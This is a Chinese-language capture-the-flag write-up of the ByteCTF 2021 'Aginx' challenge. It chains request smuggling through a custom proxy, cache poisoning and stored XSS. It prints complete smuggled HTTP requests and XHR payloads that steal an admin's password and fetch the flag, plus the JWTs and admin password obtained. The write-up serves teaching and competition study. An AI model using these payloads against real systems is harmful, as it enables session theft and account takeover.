字节跳动ByteCTF2021 Aginx 题解
题目信息
A platform can show your essays to express your love for A-SOUL!!!
https://39.105.189.132:30443 bot nc 39.105.189.132 30000
https://39.105.56.120:30443 bot nc 39.105.56.120 30000
https://39.105.13.40:30443 bot nc 39.105.13.40 30000
https://39.105.153.197:30443 bot nc 39.105.153.197 30000
Note: Please don't use scanner
Hint1: Environment: https://bytectf.feishu.cn/file/boxcnEgg8wORkydhrVdSHnpZdDb 请不要扫描目录,flag需要管理员访问/flag获取
Hint2: init.sql: https://bytectf.feishu.cn/file/boxcnXZaup2iOONRCW1rQ1zCSLc ; And notice the difference of each response
初步分析
对 a-ginx
和 backend
两个文件进行逆向分析。
起初将重点放在功能实现的 backend
上,并没有找到可利用的漏洞。
后来重点放在前端实现,在 index.html
里看到一行文字。
We're sorry but jiaran.icu doesn't work properly without JavaScript enabled. Please enable it to continue.
然后在网上找到了代码出处 Fungx/Asoul-ICU。
对照题目代码,看到有这么一行。
<div ref="htmlContent" v-html="article.htmlContent"></div>
如果不是考察 Vue
框架本身的漏洞,那么这题的重点应该就是这里。
此处应该有机会进行 XSS攻击
。
翻了翻机器人 main.py
的代码,能够执行 JS代码
的地方只有这里。
client.execute_script("location.href='/#/articles/' + atob(`{}`)".format(b64encode(uuid.encode('utf8')).decode('utf8')))
只能控制 location.href
,那么想到跨目录请求。
试了一下。
location.href='/#/articles/abc' => https://aginx/v/articles/abc
location.href='/#/articles/..%2..%2Fabc' => https://aginx/abc
可以访问 aginx
里的服务。
好吧,重点要放在 a-ginx
上面了。
一般情况下,除了我们能看到的 public
文件夹下面的静态文件,a-ginx
直接将请求转发至 backend
处理。
那么有可能会是 addArticle
的时候对 content
过滤不严谨,插入数据库里再读出时导致 XSS
的发生。
但是看了一下 backend
的处理手法,用到了第三方库 microcosm-cc/bluemonday 。
其中调用了 UGCPolicy().Sanitize()
处理 content
生成 htmlContent
,调用了 NewPolicy().Sanitize()
处理 content
生成 plainContent
。
看了一下 bluemonday
的源代码,除非存在过滤不严谨的情况,否则考点应该不是这里。
那么有可能会是 backend
上不同的路由返回同样格式的结果,导致在请求 /v/articles/:ID
路由的返回内容出现“张冠李戴”的情况。
经过分析,在其它路由上并没有发现返回与该路由相同格式的结果。
恭喜本题完结撒花,顺利拉闸!
深入分析
既然不是 backend
的问题,那有没有可能是 a-ginx
返回了“错误”的结果呢?
结合本地调试和逆向分析,发现静态文件请求的响应头带上了 Cache-Key
,而反向代理请求的响应头在 a-ginx
处也被加上了 Trace-Id
。
好家伙,整了好一个 Web前端服务
,缓存
和 追踪
,该有都有!
那么这时我就好奇,这个 缓存
的缓存文件在本地并没有看到,它理应存放在 /app/cache
里。
经过测试,原来在 a-ginx
端的静态文件并不会进行缓存,的确没必要缓存了,但是照样返回了 Cache-Key
。(迫真
然后发现在请求 /static/
的时候,假如在 a-ginx
端找不到对应的静态文件,会将请求转发至 backend
处理。若请求的响应状态码为 200
,响应正文才会被 a-ginx
缓存下来。
到这里,我们会想到如何 污染缓存
来满足 XSS
的出现条件。
在 a-ginx
端进行 任意文件写入
,进而写入恶意缓存?
考点应该不是这个,毕竟 flag
存放在 backend
端。而 backend
端是存放 flag
的地方,相对更加“安全”,也很难干预其返回内容。
深入分析 a-ginx
的反向代理原理,发现其直接发起 tcp
请求至 backend
端,再提取用户端请求的内容,进行简单的字符串拼接实现了转发请求的功能。
此处就出现了一个曾经出现过的 Web安全漏洞
了。
漏洞点解析
直接搬出最终 payload
来进一步讲解。
当用户发起以下请求至 a-ginx
时,
GET /static/v4WPbblaISwL%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 921
title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
a-ginx
会将 METHOD
和 URL
两部分提取出来,然后检查 PROTOCOL
是否为 HTTP/2
。
URL
会进行 URL解码
。Header
部分会增加一个名为 X-Sup3r-Re4l-Ip
的属性,属性值为用户的来路IP带上端口。
然后进行拼接,大致得到如下。
GET /static/v4WPbblaISwL HTTP/1.1
Connection: keep-alive
Host: a
POST /v/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 921
title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
相当于在一个 tcp
上,发起两个 http
请求至 backend
端。
这里应该使用 Connection: keep-alive
请求头告知 backend
端保持 tcp
连接而不是立即断开,以免影响后续 http
请求的返回。
若请求的响应状态码为
200
,响应正文才会被a-ginx
缓存下来。
由于请求 /v/articles/preview
始终返回的响应状态码为 200
,所以响应正文会被缓存下来。
经过测试发现,a-ginx
有时接收到的为第一个 http
请求的响应,有时接收到的为第二个 http
请求的响应。
因此只需要多请求几次,让它将从 backend
端接收到的响应正文缓存下来,再次访问该 URL
就会返回固定结果了。
/v/articles/preview
是文章预览功能,其返回内容取决于模板文件 preview.tmpl
。
{{.title}}<br/>{{.content}}
{{.title}}
和 {{.content}}
我们都能够随意控制。
而 /v/articles/:ID
返回的格式大概如下:
{"data":{"_id":"1","title":"2","author":"3","htmlContent":"6","submissionTime":4,"tags":"5"},"status":0}
基本上,我们有能力构造出上面的格式。只需要将 <br/>
当作无关字符即可。
到这里,我们基本可以进行 XSS攻击
了。
构建攻击思路
由于前端使用 Vue
,开发过 Vue
的同学应该清楚,通过 v-html
插入的 <script>
标签是无法运行的,这是由于 Vue
在渲染完成后会对 <script>
标签进行屏蔽。
如果想在 Vue
上运行 热加载代码
,有两种方法。
一是提前预留
eval
函数或者其它热更新代码块。 二是采用其它运行脚本代码的途径。 这里直接用比较常见的<img onerror=
。
/flag
路由主要有两个校验。
一是判断
X-Sup3r-Re4l-Ip
是否位于172.16.0.0/12
。由于backend
端用户无法直接访问,这个校验就无法绕过了。 二是判断Authorization
的登录用户是否为admin
。这里采用了JWT
,签名密钥直接由rand.Read
(即/dev/urandom
)生成。无法绕过。
我们需要让管理员访问 /flag
,然后返回结果给我们。
由于该网站用户登录账号后,其登录凭据 Authorization
会存储在 Vue变量
中以供后续发起请求时进行身份验证。我们需要提取其 Authorization
,然后通过 XMLHTTP
即可伪造请求。
这里我并没有找到 Authorization
的存放位置,反而轻易地找到了登录密码的存放位置。
通常来说,在表单提交后,在下次再次使用该表单之前,开发者并不会对表单数据进行清除,所以一些敏感信息仍然会存放在
Vue变量
中。
构造核心攻击载荷
1、让管理员发起以下请求,然后在自己账号中就能看到一篇名为 here_is_pwd
的文章,里面就有管理员的密码。
var xhttp1 = new XMLHttpRequest();
xhttp1.open("POST", "/v/articles", true);
xhttp1.setRequestHeader("Content-Type","application/json");
xhttp1.setRequestHeader("Authorization",自己账号的Authorization);
xhttp1.send(JSON.stringify({"title":"here_is_pwd","content":document.getElementById("app").__vue__.$children[2]._data.form.password,"tags":[],"is_public":false}));
然后登录管理员账号,就能提取管理员账号的 Authorization
。
2、让管理员发起以下请求,然后在自己账号中就能看到一篇名为 here_is_flag
的文章,里面就有 flag
。
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var xhttp1 = new XMLHttpRequest();
xhttp1.open("POST", "/v/articles", true);
xhttp1.setRequestHeader("Content-Type","application/json");
xhttp1.setRequestHeader("Authorization",自己账号的Authorization);
xhttp1.send(JSON.stringify({"title":"here_is_flag","content":xhttp.responseText,"tags":[],"is_public":false}));
}
};
xhttp.open("GET","/flag",true);
xhttp.setRequestHeader("Authorization",管理员账号的Authorization);
xhttp.send();
完整攻击流程
首先注册一个账号,密码使用随机密码,防止其他选手上车。
账号:nVmSStPzISQ9
密码:7Tq2sPxMBqRF
然后提取自己账号的 Authorization
。
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw
不断发起以下请求,直至响应状态码返回 200
。其中 v4WPbblaISwL
为随机值。
GET /static/v4WPbblaISwL%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 921
title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
然后告诉机器人需要访问的 article id
为:
..%2F..%2Fstatic%2Fv4WPbblaISwL%2520HTTP%252F1.1%250D%250AConnection:%2520keep-alive%250D%250AHost:%2520a%250D%250A%250D%250APOST%2520%252Fv%252Farticles%252Fpreview
稍等片刻,在自己账号中就能看到一篇名为 here_is_pwd
的文章,里面就有管理员的密码。
管理员密码:The_Passw0rd_y0u_w1lI_n3ver_kn0w!!!_9f3253946623
登录管理员账号 admin
,提取到管理员账号的 Authorization
。
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgzODIsInVzZXJuYW1lIjoiYWRtaW4ifQ.DeRjnC-Ldy7eoH5Y2rmL11YHDeCrz8pjC9LbUaZs8FY
不断发起以下请求,直至响应状态码返回 200
。其中 rbGK4LT0BNUq
为随机值。
GET /static/rbGK4LT0BNUq%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 1316
title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp%20%3D%20new%20XMLHttpRequest()%3Bxhttp.onreadystatechange%20%3D%20function()%20%7Bif%20(this.readyState%20%3D%3D%204%20%26%26%20this.status%20%3D%3D%20200)%20%7Bvar%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_flag%5C%22%2C%5C%22content%5C%22%3Axhttp.responseText%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B%7D%7D%3Bxhttp.open(%5C%22GET%5C%22%2C%5C%22%2Fflag%5C%22%2Ctrue)%3Bxhttp.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgzODIsInVzZXJuYW1lIjoiYWRtaW4ifQ.DeRjnC-Ldy7eoH5Y2rmL11YHDeCrz8pjC9LbUaZs8FY%5C%22)%3Bxhttp.send()%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
然后告诉机器人需要访问的 article id
为:
..%2F..%2Fstatic%2FrbGK4LT0BNUq%2520HTTP%252F1.1%250D%250AConnection:%2520keep-alive%250D%250AHost:%2520a%250D%250A%250D%250APOST%2520%252Fv%252Farticles%252Fpreview
稍等片刻,在自己账号中就能看到一篇名为 here_is_flag
的文章,里面就有 flag
。
Get Flag
ByteCTF{W4tch_D1anA_4_6ay_K33p_HungEr_AvAy}
结语
一次
Web
和Reverse
的碰撞交融!
总体来说,本题的漏洞点是个不错的搭配。
把新型且实际的漏洞点结合到简单的题目条件里,体现了出题人不一样的思路。
Comments